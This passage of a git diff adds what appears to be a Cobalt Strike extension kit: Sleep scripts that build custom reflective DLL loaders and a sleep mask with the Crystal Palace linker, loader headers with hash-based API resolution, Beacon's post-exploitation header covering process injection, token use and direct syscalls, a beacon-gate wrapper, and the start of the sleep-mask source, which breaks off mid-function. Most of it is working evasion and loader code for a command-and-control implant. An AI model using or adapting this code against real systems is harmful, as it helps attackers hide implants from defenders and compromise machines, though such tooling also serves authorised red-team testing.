( const char * ) section_hdr->Name ); + + switch ( hash ) + { + case 0xebc2f9b4: + return LABEL_TEXT; + + case 0xcba738b8: + return LABEL_RDATA; + + case 0xcba2f8a1: + return LABEL_DATA; + + case 0xcba718b8: + return LABEL_PDATA; + + case 0xcd7f3b7a: + return LABEL_RELOC; + + default: + return LABEL_EMPTY; + } +} diff --git a/loader/src/loader.h b/loader/src/loader.h new file mode 100644 index 0000000..2ae5f88 --- /dev/null +++ b/loader/src/loader.h @@ -0,0 +1,12 @@ +#define GETRESOURCE(x) ( char * ) &x + +#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z ); + +typedef struct { + int length; + char value [ ]; +} RESOURCE; + +void go ( ); +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region ); +ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr ); diff --git a/udrl/src/tcg.h b/loader/src/tcg.h similarity index 85% rename from udrl/src/tcg.h rename to loader/src/tcg.h index f48cbd9..75a77e4 100644 --- a/udrl/src/tcg.h +++ b/loader/src/tcg.h @@ -15,7 +15,7 @@ * endorse or promote products derived from this software without specific prior written * permission. * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, @@ -26,11 +26,19 @@ * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ +// used by both the Pico Loader and DLL loader typedef struct { __typeof__(LoadLibraryA) * LoadLibraryA; __typeof__(GetProcAddress) * GetProcAddress; } IMPORTFUNCS; +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) #define DEREF( name )*(UINT_PTR *)(name) @@ -40,6 +48,12 @@ typedef struct { IMAGE_OPTIONAL_HEADER * OptionalHeader; } DLLDATA; +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + /* * printf-style debugging. */ @@ -50,6 +64,7 @@ void dprintf(char * format, ...); */ typedef void (*PICOMAIN_FUNC)(char * arg); +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); int PicoCodeSize(char * src); int PicoDataSize(char * src); @@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); /* * Resolve functions by walking the export address table */ -void * findFunctionByHash(char * src, DWORD wantedFunction); -char * findModuleByHash(DWORD moduleHash); +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); /* * DLL parsing and loading functions diff --git a/loaders.cna b/loaders.cna new file mode 100644 index 0000000..6aebcf4 --- /dev/null +++ b/loaders.cna @@ -0,0 +1,107 @@ +debug ( 7 ); + +import crystalpalace.spec.* from: crystalpalace.jar; +import java.util.HashMap; + +sub print_info { + println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Loaders]\o " . $1 ); +} + +sub print_error { + println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Loaders]\o " . $1 ); +} + +# ---------------------------------- +# $1 - Beacon payload file name +# $2 - Beacon payload (dll binary) +# $3 - Beacon architecture (x86/x64) +# ---------------------------------- +set BEACON_RDLL_GENERATE +{ + local ( '$path $spec $cap $final' ); + + $path = getFileProper ( script_resource ( "loader" ), "loader.spec" ); + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability Parse: $2 ]; + $final = [ $spec run: $cap, [ new HashMap ] ]; + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom loader." ); + return $null; + } + + print_info ( "Built custom loader." ); + return $final; +} + +# ---------------------------------- +# $1 - Beacon payload file name +# $2 - Beacon payload (dll binary) +# $3 - Beacon architecture (x86/x64) +# $4 - Parent beacon ID +# $5 - GetModuleHandleA pointer +# $6 - GetProcAddress pointer +# ---------------------------------- +set BEACON_RDLL_GENERATE_LOCAL +{ + local ( '$path $spec $cap $vars $final' ); + + $path = getFileProper ( script_resource ( "loader" ), "smart-loader.spec" ); + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability Parse: $2 ]; + + $vars = [ new HashMap ]; + [ $vars put: "\$GMH", cast ( $5, 'b' ) ]; + [ $vars put: "\$GPA", cast ( $6, 'b' ) ]; + + $final = [ $spec run: $2, $vars ]; + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom loader." ); + return $null; + } + + print_info ( "Built custom loader." ); + return $final; +} + +# ------------------------------------ +# $1 – Post-ex payload file name +# $2 – Post-ex payload (dll binary) +# $3 – Post-ex architecture (x86/x64) +# $4 – parent Beacon ID +# $5 – GetModuleHandle pointer +# $6 – GetProcAddress pointer +# ------------------------------------ +set POSTEX_RDLL_GENERATE +{ + local ( '$path $spec $cap $vars $final' ); + + # not sure how smart inject works for cross-arch + # injection because pointers are different sizes + if ( barch ( $4 ) ne $3 ) { + print_error ( "Cannot use smart inject for cross-arch injection. Falling back to default loader." ); + return $null; + } + + $path = getFileProper ( script_resource ( "postex" ), "loader.spec" ); + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability Parse: $2 ]; + + $vars = [ new HashMap ]; + [ $vars put: "\$GMH", cast ( $5, 'b' ) ]; + [ $vars put: "\$GPA", cast ( $6, 'b' ) ]; + + $final = [ $spec run: $2, $vars ]; + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom postex loader." ); + return $null; + } + + print_info ( "Built custom postex loader." ); + return $final; +} diff --git a/mask.cna b/mask.cna new file mode 100644 index 0000000..6418507 --- /dev/null +++ b/mask.cna @@ -0,0 +1,39 @@ +debug ( 7 ); + +import crystalpalace.spec.* from: crystalpalace.jar; +import java.util.HashMap; + +sub print_info { + println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Mask]\o " . $1 ); +} + +sub print_error { + println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Mask]\o " . $1 ); +} + +# ---------------------------------- +# $1 - Beacon type (default, pivot) +# $2 - Beacon architecture (x86/x64) +# ---------------------------------- +set BEACON_SLEEP_MASK +{ + local ( '$path $spec $cap $coff $final' ); + + $path = getFileProper ( script_resource ( "mask" ), "mask.spec" ); + + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability None: $2 ]; + $coff = [ $spec run: $cap, [ new HashMap ] ]; + + $final = bof_extract ( $coff, "go" ); + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom sleepmask." ); + return $null; + } + + + print_info ( "Built custom sleepmask." ); + return $final; +} diff --git a/mask/Makefile b/mask/Makefile new file mode 100644 index 0000000..424518b --- /dev/null +++ b/mask/Makefile @@ -0,0 +1,19 @@ +CC=i686-w64-mingw32-gcc +CC_64=x86_64-w64-mingw32-gcc +CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith + +.PHONY: all x86 x64 clean + +all: x86 x64 + +bin: + mkdir -p bin + +x86: bin + $(CC) -DWIN_X86 $(CFLAGS) -c src/mask.c -o bin/mask.x86.o + +x64: bin + $(CC_64) -DWIN_X64 $(CFLAGS) -c src/mask.c -o bin/mask.x64.o + +clean: + rm -rf bin diff --git a/mask/bin/mask.x64.o b/mask/bin/mask.x64.o new file mode 100644 index 0000000..b76c206 Binary files /dev/null and b/mask/bin/mask.x64.o differ diff --git a/mask/bin/mask.x86.o b/mask/bin/mask.x86.o new file mode 100644 index 0000000..314c941 Binary files /dev/null and b/mask/bin/mask.x86.o differ diff --git a/mask/mask.spec b/mask/mask.spec new file mode 100644 index 0000000..6d6be68 --- /dev/null +++ b/mask/mask.spec @@ -0,0 +1,11 @@ +x86: + load "bin/mask.x86.o" + make coff +optimize + mergelib "../libtcg.x86.zip" + export + +x64: + load "bin/mask.x64.o" + make coff +optimize + mergelib "../libtcg.x64.zip" + export diff --git a/mask/src/beacon.h b/mask/src/beacon.h new file mode 100644 index 0000000..70ae514 --- /dev/null +++ b/mask/src/beacon.h @@ -0,0 +1,392 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11 + * 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12 + * 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12 + * 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12 + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_UDC2_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 + +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; diff --git a/mask/src/beacon_gate.h b/mask/src/beacon_gate.h new file mode 100644 index 0000000..5269690 --- /dev/null +++ b/mask/src/beacon_gate.h @@ -0,0 +1,68 @@ +/* Beacon gate defines. */ +#define MAX_BEACON_GATE_ARGUMENTS 10 +#define beaconGate(i) ((BEACON_GATE_##i)function_call->functionPtr) +#define arg(i) (ULONG_PTR)function_call->args[i] + +/* Enum to specify what WinAPI is being called. */ +typedef enum _WinApi { + INTERNETOPENA, + INTERNETCONNECTA, + VIRTUALALLOC, + VIRTUALALLOCEX, + VIRTUALPROTECT, + VIRTUALPROTECTEX, + VIRTUALFREE, + GETTHREADCONTEXT, + SETTHREADCONTEXT, + RESUMETHREAD, + CREATETHREAD, + CREATEREMOTETHREAD, + OPENPROCESS, + OPENTHREAD, + CLOSEHANDLE, + CREATEFILEMAPPING, + MAPVIEWOFFILE, + UNMAPVIEWOFFILE, + VIRTUALQUERY, + DUPLICATEHANDLE, + READPROCESSMEMORY, + WRITEPROCESSMEMORY, + EXITTHREAD, + VIRTUALFREEEX, + VIRTUALQUERYEX, + WAITFORSINGLEOBJECT, + SLEEP +} WinApi; + +/** + * FUNCTION_CALL struct which encapsulates atomic function call. + * + * functionPtr - target function to call + * function - Enum representing target WinApi + * numOfArgs - number of arguments + * args - array of ULONG_PTRs containing the passed arguments (e.g. rcx, rdx, ...) + * bMask - BOOL indicating whether Beacon should be masked during the call + * ULONG_PTR - retValue of the atomic function call + */ +typedef struct { + PVOID functionPtr; + WinApi function; + int numOfArgs; + ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS]; + BOOL bMask; + ULONG_PTR retValue; +} FUNCTION_CALL, * PFUNCTION_CALL; + +/* Currently support max 10 arguments. */ +/* NB For x86 we only support std call convention as this is what Windows uses for most Win32 APIs. */ +typedef ULONG_PTR(__stdcall* BEACON_GATE_00)(VOID); +typedef ULONG_PTR(__stdcall* BEACON_GATE_01)(ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_02)(ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_03)(ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_04)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_05)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_06)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_07)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_08)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_09)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); +typedef ULONG_PTR(__stdcall* BEACON_GATE_10)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); diff --git a/mask/src/mask.c b/mask/src/mask.c new file mode 100644 index 0000000..2ae4f07 --- /dev/null +++ b/mask/src/mask.c @@ -0,0 +1,175 @@ +#include +#include "beacon.h" +#include "sleepmask.h" +#include "beacon_gate.h" +#include "tcg.h" + +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); + +void gate_wrapper ( PFUNCTION_CALL function_call ) +{ + ULONG_PTR result = 0; + + switch ( function_call->numOfArgs ) + { + case 0: + result = beaconGate ( 00 ) ( ); + break; + + case 1: + result = beaconGate ( 01 ) ( arg ( 0 ) ); + break; + + case 2: + result = beaconGate ( 02 ) ( arg ( 0 ), arg ( 1 ) ); + break; + + case 3: + result = beaconGate ( 03 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ) ); + break; + + case 4: + result = beaconGate ( 04 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ) 